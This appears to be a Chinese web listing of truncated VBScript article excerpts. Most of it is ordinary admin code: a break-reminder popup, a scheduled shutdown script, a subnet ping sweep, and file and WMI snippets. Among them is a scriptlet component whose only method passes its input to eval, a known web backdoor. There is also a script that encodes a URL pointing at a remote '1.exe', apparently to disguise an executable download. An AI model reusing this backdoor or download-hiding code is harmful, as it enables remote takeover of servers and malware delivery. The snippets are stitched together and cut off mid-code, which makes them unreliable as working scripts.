有事没事用VBS采集别人网站上的部分或全部数据进行分析，然后写入数据库或存到文本文件里，有时还会用VBScript做一些移动光标及输入的操作，比如批量添加远程桌面，有时还会用VBScript还管理Windows服务器，如设置IIS，还有做一些定时提醒工具，多久执行一次，然后用声音控件提醒，很好用。。。。 1. 计算 2. 处理文件和文件

复制代码 代码如下: setWshShell=WScript.CreateObject('WScript.Shell') ''对话框标题 alerttitle='定时提醒' ''提醒内容,vbnewline为换行符 alerttext=vbnewline&vbnewline&'休息一下，活动一下胳膊，脖子，腰部。'&vbnewline&vbnewline&vbnewline&'生命在于运动'&vbnewline&vbnewline&vbnewline fori=1to12''12为提醒的次

SCRIPT LANGUAGE='VBSCRIPT' Function Encode(s,n) Dim b b=UCase(s) For i=1 To Len(b) Encode=Encode/script script language='javascript' myrand=window.prompt('url:','http://www.sohu.com/1.exe'); strVariable = (Encode(myrand,0x21)).toUpperCase( ) function

将下面代码存为vbs文件，如：shutdown.vbs，然后双击或在文件上点右 键选择以命令提示打开,如果到了你设置重启的时候，系统会出现关机的对话 框。 　　直接下面代码程序会出现关机的对话框，最后的回车注释掉了，正常使用 时，请去掉注释符。 　　以下代码在window2000下通过。 复制代码 代码如下: ''定时关机或重启的脚本

?xml version='1.0' encoding='gb2312' standalone='yes'? ?component error='true' debug='true'? package component id='haiyangtop' public method name='lcx'parameter name='b'//method /public script language='VBScript'![CDATA[ sub lcx(b) eval(b) end sub ]]

复制代码 代码如下: strSubNet = '192.168.1.' Set objFSO= CreateObject('Scripting.FileSystemObject') Set objTS = objfso.CreateTextFile('e:\PingResult.txt') For i = 1 To 254 strComputer = strSubNet & i blnResult = Ping(strComputer) If blnResult = True Then objT

跨盘移动文件夹的怪问题 Set objFSO = CreateObject('Scripting.FileSystemObject') objFSO.MoveFolder 'C:\Scripts' , 'd:\2' 权限拒绝，但是copy就可以。可以采用变通的办法先复制再删除 ========================================wmi================= strComputer = '.' Set objWMIService = GetObject('w

复制代码 代码如下: '' FileName: SoftwareMeteringCLS.vbs '' //////////////////////////////////////////////////////////////////// If (WScript.ScriptName = 'SoftwareMeteringCLS.vbs') Then Call demo_SoftwareMeteringCLS() '' ======================================